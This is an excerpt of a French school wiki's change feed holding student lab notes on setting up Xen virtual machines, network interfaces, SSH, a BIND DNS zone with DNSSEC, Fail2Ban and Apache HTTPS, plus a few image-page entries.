&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search wahran.online&lt;br /&gt;
nameserver 192.168.0.2&lt;br /&gt;
nameserver 192.168.0.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour wahran.online et une zone secondaire pour alloco.online.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier wahran.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de ns.wahran.online, pour l'instant le site indique une erreur : wahran.online zone: The server(s) were not responsive to queries over UDP.&lt;br /&gt;
&lt;br /&gt;
J'essaye de regler cela.&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/wahran.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/myserver.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (wahran.online) dans le répertoire `/etc/apache2/sites-available/000-wahran.online-ssl.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Ping_ipv4.png&amp;diff=12097</id>
		<title>Fichier:Ping ipv4.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Ping_ipv4.png&amp;diff=12097"/>
		<updated>2026-02-07T17:06:05Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;ping de RS7 vers Google en IPv4&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Ping_Garage.png&amp;diff=12096</id>
		<title>Fichier:Ping Garage.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Ping_Garage.png&amp;diff=12096"/>
		<updated>2026-02-07T17:05:33Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;ping de RS7 vers Garage&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Ping_C2.png&amp;diff=12095</id>
		<title>Fichier:Ping C2.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Ping_C2.png&amp;diff=12095"/>
		<updated>2026-02-07T17:04:57Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;ping de RS7 vers C2&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12094</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12094"/>
		<updated>2026-02-07T16:26:57Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* VM mandataire */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
